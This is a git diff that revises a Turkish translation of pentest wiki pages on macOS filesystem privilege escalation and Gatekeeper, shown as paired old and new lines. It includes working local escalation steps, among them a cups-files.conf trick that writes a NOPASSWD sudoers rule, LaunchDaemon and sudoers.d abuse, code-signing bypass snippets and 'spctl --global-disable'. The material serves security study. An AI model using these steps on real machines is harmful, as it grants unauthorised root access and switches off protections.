Örneğin: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098), kod: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging Örneğin: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098), kod: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging
@ -122,7 +122,7 @@ ls -le /tmp/test
**AppleDouble** dosya formatı, bir dosyayı ACE'leri ile birlikte kopyalar. **AppleDouble** dosya formatı, bir dosyayı ACE'leri ile birlikte kopyalar.
[**kaynak kodda**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) görülebilir ki, xattr içinde saklanan ACL metin temsili **`com.apple.acl.text`** olarak adlandırılır ve bu, ılmış dosyada ACL olarak ayarlanacaktır. Yani, bir uygulamayı ACL'nin diğer xattr'lerin yazılmasını engellediği bir zip dosyasına **AppleDouble** dosya formatı ile sıkıştırdıysanız... karantina xattr uygulamaya ayarlanmamıştı: [**kaynak kodda**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) görülebilir ki, xattr içinde saklanan ACL metin temsili **`com.apple.acl.text`** olarak adlandırılır ve bu, sıkıştırılmamış dosyada ACL olarak ayarlanacaktır. Yani, bir uygulamayı ACL'nin diğer xattr'lerin yazılmasını engellediği bir zip dosyasına **AppleDouble** dosya formatı ile sıkıştırdıysanız... karantina xattr uygulamaya ayarlanmamıştı:
Daha fazla bilgi için [**orijinal raporu**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) kontrol edin. Daha fazla bilgi için [**orijinal raporu**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) kontrol edin.
@ -150,15 +150,15 @@ ls -le test
macos-xattr-acls-extra-stuff.md macos-xattr-acls-extra-stuff.md
{{#endref}} {{#endref}}
## İmza kontrollerini atla ## İmza kontrollerini atlama
### Platform ikili dosyası kontrollerini atla ### Platform ikili dosyası kontrollerini atlama
Bazı güvenlik kontrolleri, ikilinin bir **platform ikili dosyası** olup olmadığını kontrol eder, örneğin bir XPC hizmetine bağlanmaya izin vermek için. Ancak, https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/ adresinde açıklandığı gibi, bu kontrolü atlamak mümkündür; bir platform ikili dosyası (örneğin /bin/ls) alarak ve istismarı dyld aracılığıyla bir ortam değişkeni `DYLD_INSERT_LIBRARIES` kullanarak enjekte ederek. Bazı güvenlik kontrolleri, ikilinin bir **platform ikili dosyası** olup olmadığını kontrol eder, örneğin bir XPC hizmetine bağlanmaya izin vermek için. Ancak, https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/ adresinde açıklandığı gibi, bu kontrolü atlamak mümkündür; bir platform ikili dosyası (örneğin /bin/ls) alarak ve istismarı dyld aracılığıyla `DYLD_INSERT_LIBRARIES` ortam değişkenini kullanarak enjekte ederek.
### `CS_REQUIRE_LV` ve `CS_FORCED_LV` bayraklarını atla ### `CS_REQUIRE_LV` ve `CS_FORCED_LV` bayraklarını atlama
Bir yürütülen ikilinin, bir kod ile kendi bayraklarını değiştirmesi mümkündür: Bir yürütme halindeki ikilinin, bir kod ile kendi bayraklarını değiştirmesi mümkündür:
```c ```c
// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/ // Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/
int pid = getpid(); int pid = getpid();
@ -175,7 +175,7 @@ NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, statu
Bundles, **`_CodeSignature/CodeResources`** dosyasını içerir ve bu dosya **bundle** içindeki her bir **dosya**nın **hash**'ini barındırır. CodeResources'ın hash'inin de **çalıştırılabilir dosya**ya **gömülü** olduğunu unutmayın, bu yüzden bununla da oynayamayız. Bundles, **`_CodeSignature/CodeResources`** dosyasını içerir ve bu dosya **bundle** içindeki her bir **dosya**nın **hash**'ini barındırır. CodeResources'ın hash'inin de **çalıştırılabilir dosya**ya **gömülü** olduğunu unutmayın, bu yüzden bununla da oynayamayız.
Ancak, imzası kontrol edilmeyecek bazı dosyalar vardır, bunlar plist'te omit anahtarına sahiptir, örneğin: Ancak, imzası kontrol edilmeyecek bazı dosyalar vardır, bunlar plist'te omit anahtarına sahip olanlardır, örneğin:
```xml ```xml
<dict> <dict>
... ...
@ -223,9 +223,9 @@ CLI'den bir kaynağın imzasını hesaplamak mümkündür:
```bash ```bash
openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64 openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64
``` ```
## DMG'leri Bağla ## Mount dmgs
Bir kullanıcı, mevcut bazı klasörlerin üzerine bile oluşturulmuş özel bir dmg'yi bağlayabilir. Özel içerikle bir özel dmg paketi oluşturmanın yolu budur: Bir kullanıcı, mevcut bazı klasörlerin üzerine bile oluşturulmuş özel bir dmg'yi monte edebilir. Özel içerikle bir özel dmg paketi oluşturmanın yolu budur:
```bash ```bash
# Create the volume # Create the volume
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
@ -259,7 +259,7 @@ Bu betiğin bir yürütmesini **şu şekilde** **taklit** edebilirsiniz: **`sudo
### Daemonlar ### Daemonlar
Keyfi bir **LaunchDaemon** yazın, örneğin **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** ile keyfi bir betiği yürüten bir plist oluşturun: Keyfi bir **LaunchDaemon** yazın, örneğin **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** gibi, keyfi bir betiği yürüten bir plist ile:
```xml ```xml
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -276,33 +276,33 @@ Keyfi bir **LaunchDaemon** yazın, örneğin **`/Library/LaunchDaemons/xyz.hackt
</dict> </dict>
</plist> </plist>
``` ```
Just generate the script `/Applications/Scripts/privesc.sh` with the **commands** you would like to run as root. Sadece kök olarak çalıştırmak istediğiniz **komutları** içeren `/Applications/Scripts/privesc.sh` dosyasını oluşturun.
### Sudoers Dosyası ### Sudoers Dosyası
If you have **arbitrary write**, you could create a file inside the folder **`/etc/sudoers.d/`** granting yourself **sudo** privileges. Eğer **keyfi yazma** erişiminiz varsa, kendinize **sudo** ayrıcalıkları veren bir dosya oluşturabilirsiniz **`/etc/sudoers.d/`** klasörü içinde.
### PATH dosyaları ### PATH dosyaları
The file **`/etc/paths`** is one of the main places that populates the PATH env variable. You must be root to overwrite it, but if a script from **privileged process** is executing some **command without the full path**, you might be able to **hijack** it modifying this file. **`/etc/paths`** dosyası, PATH env değişkenini dolduran ana yerlerden biridir. Üzerine yazmak için kök olmalısınız, ancak eğer **ayrıca ayrıcalıklı bir işlem** bir **komutu tam yol olmadan** çalıştırıyorsa, bu dosyayı değiştirerek **ele geçirme** şansınız olabilir.
You can also write files in **`/etc/paths.d`** to load new folders into the `PATH` env variable. Ayrıca `PATH` env değişkenine yeni klasörler yüklemek için **`/etc/paths.d`** içinde dosyalar yazabilirsiniz.
### cups-files.conf ### cups-files.conf
This technique was used in [this writeup](https://www.kandji.io/blog/macos-audit-story-part1). Bu teknik [bu yazıda](https://www.kandji.io/blog/macos-audit-story-part1) kullanılmıştır.
Create the file `/etc/cups/cups-files.conf` with the following content: Aşağıdaki içeriği içeren `/etc/cups/cups-files.conf` dosyasını oluşturun:
``` ```
ErrorLog /etc/sudoers.d/lpe ErrorLog /etc/sudoers.d/lpe
LogFilePerm 777 LogFilePerm 777
<some junk> <some junk>
``` ```
Bu, izinleri 777 olan `/etc/sudoers.d/lpe` dosyasını oluşturacaktır. Sonundaki ekstra gereksizlik, hata günlüğü oluşturmayı tetiklemek içindir. Bu, `/etc/sudoers.d/lpe` dosyasını 777 izinleriyle oluşturacaktır. Sonundaki ekstra gereksiz kısım, hata günlüğü oluşturulmasını tetiklemek içindir.
Ardından, `/etc/sudoers.d/lpe` dosyasına `%staff ALL=(ALL) NOPASSWD:ALL` gibi ayrıcalıkları artırmak için gerekli yapılandırmayı yazın. Ardından, `/etc/sudoers.d/lpe` dosyasına, ayrıcalıkları artırmak için gereken yapılandırmayı yazın, örneğin `%staff ALL=(ALL) NOPASSWD:ALL`.
Sonra, yeni sudoers dosyasının geçerli olması için `/etc/cups/cups-files.conf` dosyasını tekrar `LogFilePerm 700` olarak değiştirin ve `cupsctl` çağrısını yapın. Daha sonra, `/etc/cups/cups-files.conf` dosyasını tekrar değiştirin ve `LogFilePerm 700` belirterek yeni sudoers dosyasının geçerli olmasını sağlayın ve `cupsctl` çağrısını yapın.
### Sandbox Kaçışı ### Sandbox Kaçışı
@ -310,7 +310,7 @@ macOS sandbox'ından FS rastgele yazma ile kaçmak mümkündür. Bazı örnekler
## Diğer kullanıcılar olarak yazılabilir dosyalar oluşturma ## Diğer kullanıcılar olarak yazılabilir dosyalar oluşturma
Bu, benim yazabileceğim root'a ait bir dosya oluşturacaktır ([**buradan kod**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Bu ayrıca ayrıcalık artırma olarak da çalışabilir: Bu, benim yazabileceğim bir dosya oluşturacaktır ve bu dosya root'a aittir ([**buradan kod**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Bu aynı zamanda ayrıcalık artırma olarak da çalışabilir:
```bash ```bash
DIRNAME=/usr/local/etc/periodic/daily DIRNAME=/usr/local/etc/periodic/daily
@ -324,7 +324,7 @@ echo $FILENAME
``` ```
## POSIX Paylaşılan Bellek ## POSIX Paylaşılan Bellek
**POSIX paylaşılan bellek**, POSIX uyumlu işletim sistemlerinde süreçlerin ortak bir bellek alanına erişmesine olanak tanır ve bu, diğer süreçler arası iletişim yöntemlerine kıyasla daha hızlı iletişim sağlar. Bu, `shm_open()` ile bir paylaşılan bellek nesnesi oluşturmayı veya açmayı, `ftruncate()` ile boyutunu ayarlamayı ve `mmap()` kullanarak sürecin adres alanına haritalamayı içerir. Süreçler daha sonra bu bellek alanından doğrudan okuma ve yazma yapabilir. Eşzamanlı erişimi yönetmek ve veri bozulmasını önlemek için genellikle mutexler veya semaforlar gibi senkronizasyon mekanizmaları kullanılır. Son olarak, süreçler paylaşılan belleği `munmap()` ve `close()` ile haritalamayı kaldırır ve kapatır ve isteğe bağlı olarak bellek nesnesini `shm_unlink()` ile kaldırır. Bu sistem, birden fazla sürecin paylaşılan verilere hızlı bir şekilde erişmesi gereken ortamlarda verimli, hızlı IPC için özellikle etkilidir. **POSIX paylaşılan bellek**, POSIX uyumlu işletim sistemlerinde süreçlerin ortak bir bellek alanına erişmesine olanak tanır ve bu, diğer süreçler arası iletişim yöntemlerine kıyasla daha hızlı iletişim sağlar. Bu, `shm_open()` ile bir paylaşılan bellek nesnesi oluşturmayı veya açmayı, `ftruncate()` ile boyutunu ayarlamayı ve `mmap()` kullanarak sürecin adres alanına haritalamayı içerir. Süreçler daha sonra bu bellek alanından doğrudan okuma ve yazma yapabilirler. Eşzamanlı erişimi yönetmek ve veri bozulmasını önlemek için genellikle mutexler veya semaforlar gibi senkronizasyon mekanizmaları kullanılır. Son olarak, süreçler paylaşılan belleği `munmap()` ve `close()` ile haritalamayı kaldırır ve kapatır, isteğe bağlı olarak bellek nesnesini `shm_unlink()` ile kaldırabilirler. Bu sistem, birden fazla sürecin paylaşılan verilere hızlı bir şekilde erişmesi gereken ortamlarda verimli, hızlı IPC için özellikle etkilidir.
<details> <details>
@ -422,7 +422,7 @@ return 0;
**macOS korunan tanımlayıcılar**, kullanıcı uygulamalarındaki **dosya tanımlayıcı işlemlerinin** güvenliğini ve güvenilirliğini artırmak için macOS'ta tanıtılan bir güvenlik özelliğidir. Bu korunan tanımlayıcılar, dosya tanımlayıcılarıyla belirli kısıtlamalar veya "korumalar" ilişkilendirme yolu sağlar ve bu kısıtlamalar çekirdek tarafından uygulanır. **macOS korunan tanımlayıcılar**, kullanıcı uygulamalarındaki **dosya tanımlayıcı işlemlerinin** güvenliğini ve güvenilirliğini artırmak için macOS'ta tanıtılan bir güvenlik özelliğidir. Bu korunan tanımlayıcılar, dosya tanımlayıcılarıyla belirli kısıtlamalar veya "korumalar" ilişkilendirme yolu sağlar ve bu kısıtlamalar çekirdek tarafından uygulanır.
Bu özellik, **yetkisiz dosya erişimi** veya **yarış koşulları** gibi belirli güvenlik açıklarının önlenmesi için özellikle yararlıdır. Bu güvenlik açıkları, örneğin bir iş parçacığı bir dosya tanımına eriştiğinde **başka bir savunmasız iş parçacığının buna erişim sağlaması** veya bir dosya tanımlayıcısının **savunmasız bir çocuk süreç tarafından devralınması** durumunda ortaya çıkar. Bu işlevsellikle ilgili bazı fonksiyonlar şunlardır: Bu özellik, **yetkisiz dosya erişimi** veya **yarış koşulları** gibi belirli güvenlik açıklarının önlenmesi için özellikle yararlıdır. Bu güvenlik açıkları, örneğin bir iş parçacığı bir dosya tanımına erişirken **başka bir savunmasız iş parçacığına erişim vermesi** veya bir dosya tanımlayıcısının savunmasız bir çocuk süreç tarafından **devralınması** durumunda ortaya çıkar. Bu işlevsellik ile ilgili bazı fonksiyonlar şunlardır:
- `guarded_open_np`: Bir koruma ile FD açar - `guarded_open_np`: Bir koruma ile FD açar
- `guarded_close_np`: Kapatır - `guarded_close_np`: Kapatır

View File

@ -1,4 +1,4 @@
# macOS xattr-acls ekstra bilgiler # macOS xattr-acls ekstra şeyler
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}
```bash ```bash
@ -14,7 +14,7 @@ ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43
``` ```
<details> <details>
<summary>get_acls kodu</summary> <summary>get_acls Kodu</summary>
```c ```c
// gcc -o get_acls get_acls // gcc -o get_acls get_acls
#include <stdio.h> #include <stdio.h>

View File

@ -4,11 +4,11 @@
## Gatekeeper ## Gatekeeper
**Gatekeeper**, Mac işletim sistemleri için geliştirilmiş bir güvenlik özelliğidir ve kullanıcıların sistemlerinde **yalnızca güvenilir yazılımları çalıştırmalarını** sağlamak için tasarlanmıştır. Kullanıcıların **App Store dışındaki kaynaklardan** indirdiği ve açmaya çalıştığı yazılımları **doğrulayarak** çalışır; bu kaynaklar arasında bir uygulama, eklenti veya yükleyici paketi bulunur. **Gatekeeper**, Mac işletim sistemleri için geliştirilmiş bir güvenlik özelliğidir ve kullanıcıların sistemlerinde **yalnızca güvenilir yazılımları çalıştırmalarını** sağlamak için tasarlanmıştır. Kullanıcının **App Store dışındaki kaynaklardan** indirdiği ve açmaya çalıştığı yazılımları **doğrulayarak** çalışır; bu kaynaklar bir uygulama, eklenti veya yükleyici paketi olabilir.
Gatekeeper'ın ana mekanizması, **doğrulama** sürecinde yatmaktadır. İndirilen yazılımın **tanınmış bir geliştirici tarafından imzalanıp imzalanmadığını** kontrol eder ve yazılımın özgünlüğünü sağlar. Ayrıca, yazılımın **Apple tarafından noter onaylı olup olmadığını** belirler; bu, yazılımın bilinen kötü amaçlı içerikten arındırıldığını ve noter onayından sonra değiştirilmediğini doğrular. Gatekeeper'ın temel mekanizması **doğrulama** sürecindedir. İndirilen yazılımın **tanınmış bir geliştirici tarafından imzalanıp imzalanmadığını** kontrol eder ve yazılımın özgünlüğünü sağlar. Ayrıca, yazılımın **Apple tarafından noter onaylı olup olmadığını** belirler; bu, yazılımın bilinen kötü amaçlı içerikten arındırıldığını ve noter onayından sonra değiştirilmediğini doğrular.
Ayrıca, Gatekeeper, kullanıcıların indirdikleri yazılımları ilk kez açmalarını onaylamaları için **kullanıcılara uyarılar göndererek** kontrol ve güvenliği artırır. Bu koruma, kullanıcıların yanlışlıkla zararlı olabilecek çalıştırılabilir kodları, zararsız bir veri dosyası olarak yanlış değerlendirmelerini önlemeye yardımcı olur. Ayrıca, Gatekeeper, kullanıcıların indirdikleri yazılımları ilk kez açmalarını onaylamaları için **kullanıcılara bir uyarı göstererek** kullanıcı kontrolü ve güvenliği artırır. Bu koruma, kullanıcıların yanlışlıkla zararlı olabilecek çalıştırılabilir kodu, zararsız bir veri dosyası olarak yanlış anlamalarını önlemeye yardımcı olur.
### Uygulama İmzaları ### Uygulama İmzaları
@ -16,13 +16,13 @@ Uygulama imzaları, kod imzaları olarak da bilinir, Apple'ın güvenlik altyap
İşte nasıl çalışır: İşte nasıl çalışır:
1. **Uygulamayı İmzalama:** Bir geliştirici uygulamasını dağıtmaya hazır olduğunda, **uygulamayı özel bir anahtar kullanarak imzalar**. Bu özel anahtar, geliştirici Apple Geliştirici Programı'na kaydolduğunda Apple tarafından kendisine verilen bir **sertifika ile ilişkilidir**. İmzalama süreci, uygulamanın tüm parçalarının kriptografik bir hash'ini oluşturmayı ve bu hash'i geliştiricinin özel anahtarı ile şifrelemeyi içerir. 1. **Uygulamayı İmzalama:** Bir geliştirici uygulamasını dağıtmaya hazır olduğunda, **uygulamayı özel bir anahtar kullanarak imzalar**. Bu özel anahtar, geliştirici Apple Geliştirici Programı'na kaydolduğunda Apple tarafından kendisine verilen bir **sertifika ile ilişkilidir**. İmzalama süreci, uygulamanın tüm parçalarının kriptografik bir hash'ini oluşturmayı ve bu hash'i geliştiricinin özel anahtarıyla şifrelemeyi içerir.
2. **Uygulamayı Dağıtma:** İmzalanmış uygulama, geliştiricinin sertifikası ile birlikte kullanıcılara dağıtılır; bu sertifika, ilgili genel anahtarı içerir. 2. **Uygulamayı Dağıtma:** İmzalanmış uygulama, geliştiricinin sertifikasıyla birlikte kullanıcılara dağıtılır; bu sertifika, ilgili genel anahtarı içerir.
3. **Uygulamayı Doğrulama:** Bir kullanıcı uygulamayı indirip çalıştırmaya çalıştığında, Mac işletim sistemi geliştiricinin sertifikasından genel anahtarı kullanarak hash'i çözer. Ardından, uygulamanın mevcut durumu temelinde hash'i yeniden hesaplar ve bu değeri çözülen hash ile karşılaştırır. Eğer eşleşiyorsa, bu, **uygulamanın geliştirici tarafından imzalandığı tarihten bu yana değiştirilmediği** anlamına gelir ve sistem uygulamanın çalışmasına izin verir. 3. **Uygulamayı Doğrulama:** Bir kullanıcı uygulamayı indirip çalıştırmaya çalıştığında, Mac işletim sistemi geliştiricinin sertifikasından genel anahtarı kullanarak hash'i çözer. Ardından, uygulamanın mevcut durumu temelinde hash'i yeniden hesaplar ve bu değeri çözülen hash ile karşılaştırır. Eğer eşleşiyorsa, bu, **uygulamanın geliştirici tarafından imzalandığı tarihten bu yana değiştirilmediği** anlamına gelir ve sistem uygulamanın çalışmasına izin verir.
Uygulama imzaları, Apple'ın Gatekeeper teknolojisinin temel bir parçasıdır. Bir kullanıcı **internetten indirilen bir uygulamayı açmaya çalıştığında**, Gatekeeper uygulama imzasını doğrular. Eğer imza, Apple tarafından tanınmış bir geliştiriciye verilen bir sertifika ile imzalanmışsa ve kod değiştirilmemişse, Gatekeeper uygulamanın çalışmasına izin verir. Aksi takdirde, uygulamayı engeller ve kullanıcıyı uyarır. Uygulama imzaları, Apple'ın Gatekeeper teknolojisinin temel bir parçasıdır. Bir kullanıcı **internetten indirilen bir uygulamayı açmaya çalıştığında**, Gatekeeper uygulama imzasını doğrular. Eğer imza, Apple tarafından tanınmış bir geliştiriciye verilen bir sertifika ile imzalanmışsa ve kod değiştirilmemişse, Gatekeeper uygulamanın çalışmasına izin verir. Aksi takdirde, uygulamayı engeller ve kullanıcıyı uyarır.
macOS Catalina'dan itibaren, **Gatekeeper ayrıca uygulamanın Apple tarafından noter onaylı olup olmadığını da kontrol eder**, bu da ek bir güvenlik katmanı ekler. Noter onay süreci, uygulamayı bilinen güvenlik sorunları ve kötü amaçlı kod için kontrol eder ve bu kontroller geçerse, Apple uygulamaya Gatekeeper'ın doğrulayabileceği bir bilet ekler. macOS Catalina'dan itibaren, **Gatekeeper ayrıca uygulamanın Apple tarafından noter onaylı olup olmadığını da kontrol eder**, bu da ek bir güvenlik katmanı ekler. Noter onaylama süreci, uygulamayı bilinen güvenlik sorunları ve kötü amaçlı kod için kontrol eder ve bu kontroller geçerse, Apple Gatekeeper'ın doğrulayabileceği bir bilet ekler.
#### İmzaları Kontrol Et #### İmzaları Kontrol Et
@ -43,13 +43,13 @@ spctl --assess --verbose /Applications/Safari.app
# Sign a binary # Sign a binary
codesign -s <cert-name-keychain> toolsdemo codesign -s <cert-name-keychain> toolsdemo
``` ```
### Notarizasyon ### Notarization
Apple'ın notarizasyon süreci, kullanıcıları potansiyel olarak zararlı yazılımlardan korumak için ek bir güvenlik önlemi olarak hizmet eder. Bu süreç, **geliştiricinin uygulamasını** **Apple'ın Noter Servisi** tarafından incelenmek üzere göndermesini içerir; bu, App Review ile karıştırılmamalıdır. Bu hizmet, gönderilen yazılımı **kötü niyetli içerik** ve kod imzalama ile ilgili olası sorunlar açısından inceleyen **otomatik bir sistemdir**. Apple'ın notarizasyon süreci, kullanıcıları potansiyel olarak zararlı yazılımlardan korumak için ek bir güvenlik önlemi olarak hizmet eder. Bu süreç, **geliştiricinin uygulamasını** **Apple'ın Noter Servisi** tarafından incelenmek üzere göndermesini içerir; bu, App Review ile karıştırılmamalıdır. Bu hizmet, gönderilen yazılımı **kötü niyetli içerik** ve kod imzalama ile ilgili olası sorunlar açısından inceleyen **otomatik bir sistemdir**.
Eğer yazılım, herhangi bir endişe yaratmadan bu incelemeyi **geçerse**, Noter Servisi bir notarizasyon belgesi oluşturur. Geliştiricinin, bu belgeyi yazılımlarına **eklemesi** gerekmektedir; bu işleme 'stapling' denir. Ayrıca, notarizasyon belgesi çevrimiçi olarak da yayınlanır ve Gatekeeper, Apple'ın güvenlik teknolojisi, buna erişebilir. Eğer yazılım, herhangi bir endişe yaratmadan bu incelemeyi **geçerse**, Noter Servisi bir notarizasyon bileti oluşturur. Geliştiricinin, bu bileti yazılımına **eklemesi** gerekmektedir; bu işleme 'stapling' denir. Ayrıca, notarizasyon bileti çevrimiçi olarak da yayınlanır ve Gatekeeper, Apple'ın güvenlik teknolojisi, buna erişebilir.
Kullanıcının yazılımı ilk kurulumunda veya çalıştırmasında, notarizasyon belgesinin varlığı - ister çalıştırılabilir dosyaya eklenmiş olsun, ister çevrimiçi bulunsun - **Gatekeeper'a yazılımın Apple tarafından notarize edildiğini bildirir**. Sonuç olarak, Gatekeeper, yazılımın Apple tarafından kötü niyetli içerik açısından kontrol edildiğini belirten açıklayıcı bir mesajı ilk başlatma iletişim kutusunda gösterir. Bu süreç, kullanıcıların sistemlerine yükledikleri veya çalıştırdıkları yazılımların güvenliğine olan güvenini artırır. Kullanıcının yazılımı ilk yüklemesi veya çalıştırması sırasında, notarizasyon biletinin varlığı - ister çalıştırılabilir dosyaya eklenmiş olsun, ister çevrimiçi bulunsun - **Gatekeeper'a yazılımın Apple tarafından notarize edildiğini bildirir**. Sonuç olarak, Gatekeeper, yazılımın Apple tarafından kötü niyetli içerik açısından kontrol edildiğini belirten açıklayıcı bir mesajı ilk başlatma iletişim kutusunda görüntüler. Bu süreç, kullanıcıların sistemlerine yükledikleri veya çalıştırdıkları yazılımların güvenliği konusunda güvenlerini artırır.
### spctl & syspolicyd ### spctl & syspolicyd
@ -68,9 +68,9 @@ GateKeeper, **tercihlere ve imzaya** göre bir ikili dosyanın çalıştırılı
<figure><img src="../../../images/image (1150).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1150).png" alt=""><figcaption></figcaption></figure>
**`syspolicyd`** Gatekeeper'ı uygulamaktan sorumlu ana daemon'dur. `/var/db/SystemPolicy` konumunda bulunan bir veritabanını sürdürmektedir ve [veritabanını destekleyen kodu burada](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/policydb.cpp) ve [SQL şablonunu burada](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/syspolicy.sql) bulmak mümkündür. Veritabanının SIP tarafından kısıtlanmadığını ve root tarafından yazılabilir olduğunu unutmayın; ayrıca `/var/db/.SystemPolicy-default` veritabanı, diğerinin bozulması durumunda orijinal bir yedek olarak kullanılmaktadır. **`syspolicyd`** Gatekeeper'ı uygulamaktan sorumlu ana daemon'dur. `/var/db/SystemPolicy` konumunda bir veritabanı tutar ve [veritabanını destekleyen kodu burada](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/policydb.cpp) ve [SQL şablonunu burada](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/syspolicy.sql) bulmak mümkündür. Veritabanının SIP tarafından kısıtlanmadığını ve root tarafından yazılabilir olduğunu unutmayın; ayrıca `/var/db/.SystemPolicy-default` veritabanı, diğerinin bozulması durumunda orijinal bir yedek olarak kullanılmaktadır.
Ayrıca, **`/var/db/gke.bundle`** ve **`/var/db/gkopaque.bundle`** dosyaları, veritabanına eklenen kurallarla birlikte dosyalar içermektedir. Bu veritabanını root olarak kontrol edebilirsiniz: Ayrıca, **`/var/db/gke.bundle`** ve **`/var/db/gkopaque.bundle`** dosyaları, veritabanına eklenen kurallarla birlikte dosyalar içerir. Bu veritabanını root olarak kontrol edebilirsiniz:
```bash ```bash
# Open database # Open database
sqlite3 /var/db/SystemPolicy sqlite3 /var/db/SystemPolicy
@ -86,7 +86,7 @@ anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists an
``` ```
**`syspolicyd`** ayrıca `assess`, `update`, `record` ve `cancel` gibi farklı işlemlerle bir XPC sunucusu sunar; bunlara **`Security.framework`'ün `SecAssessment*`** API'leri aracılığıyla da erişilebilir ve **`xpctl`** aslında **`syspolicyd`** ile XPC üzerinden iletişim kurar. **`syspolicyd`** ayrıca `assess`, `update`, `record` ve `cancel` gibi farklı işlemlerle bir XPC sunucusu sunar; bunlara **`Security.framework`'ün `SecAssessment*`** API'leri aracılığıyla da erişilebilir ve **`xpctl`** aslında **`syspolicyd`** ile XPC üzerinden iletişim kurar.
İlk kuralın "**App Store**" ile ve ikinci kuralın "**Developer ID**" ile bittiğine ve önceki görüntüde **App Store ve tanımlı geliştiricilerden uygulama çalıştırma** izninin **etkin** olduğuna dikkat edin.\ İlk kuralın "**App Store**" ile, ikinci kuralın ise "**Developer ID**" ile bittiğine ve önceki görüntüde **App Store ve tanımlı geliştiricilerden uygulama çalıştırma** izninin **etkin** olduğuna dikkat edin.\
Eğer bu ayarı App Store olarak **değiştirirseniz**, "**Notarized Developer ID" kuralları kaybolacaktır**. Eğer bu ayarı App Store olarak **değiştirirseniz**, "**Notarized Developer ID" kuralları kaybolacaktır**.
Ayrıca **tip GKE** olan binlerce kural da bulunmaktadır: Ayrıca **tip GKE** olan binlerce kural da bulunmaktadır:
@ -108,7 +108,7 @@ Ya da önceki bilgiyi şu şekilde listeleyebilirsiniz:
```bash ```bash
sudo spctl --list sudo spctl --list
``` ```
**`spctl`**'nin **`--master-disable`** ve **`--global-disable`** seçenekleri bu imza kontrollerini tamamen **devre dışı bırakacaktır**: **`spctl`** komutunun **`--master-disable`** ve **`--global-disable`** seçenekleri bu imza kontrollerini tamamen **devre dışı bırakacaktır**:
```bash ```bash
# Disable GateKeeper # Disable GateKeeper
spctl --global-disable spctl --global-disable
@ -122,7 +122,7 @@ Tamamen etkinleştirildiğinde, yeni bir seçenek görünecektir:
<figure><img src="../../../images/image (1151).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1151).png" alt=""><figcaption></figcaption></figure>
**GateKeeper tarafından bir Uygulamanın izin verilip verilmeyeceğini kontrol etmek mümkündür**: **GateKeeper tarafından bir Uygulamaya izin verilip verilmeyeceğini kontrol etmek** mümkündür:
```bash ```bash
spctl --assess -v /Applications/App.app spctl --assess -v /Applications/App.app
``` ```
@ -141,24 +141,24 @@ sudo spctl --enable --label "whitelist"
spctl --assess -v /Applications/App.app spctl --assess -v /Applications/App.app
/Applications/App.app: accepted /Applications/App.app: accepted
``` ```
**Kernel uzantıları** ile ilgili olarak, `/var/db/SystemPolicyConfiguration` klasörü, yüklenmesine izin verilen kext'lerin listelerini içeren dosyalar barındırır. Ayrıca, `spctl`, yeni ön onaylı kernel uzantıları ekleyebilme yeteneğine sahip olduğu için `com.apple.private.iokit.nvram-csr` yetkisine sahiptir; bu uzantıların NVRAM'de `kext-allowed-teams` anahtarında da saklanması gerekir. **Kernel uzantıları** ile ilgili olarak, `/var/db/SystemPolicyConfiguration` klasörü, yüklenmesine izin verilen kext'lerin listelerini içeren dosyalar barındırır. Ayrıca, `spctl` yeni ön onaylı kernel uzantıları ekleyebildiği için `com.apple.private.iokit.nvram-csr` yetkisine sahiptir; bu uzantıların NVRAM'de `kext-allowed-teams` anahtarında da saklanması gerekir.
### Karantina Dosyaları ### Karantina Dosyaları
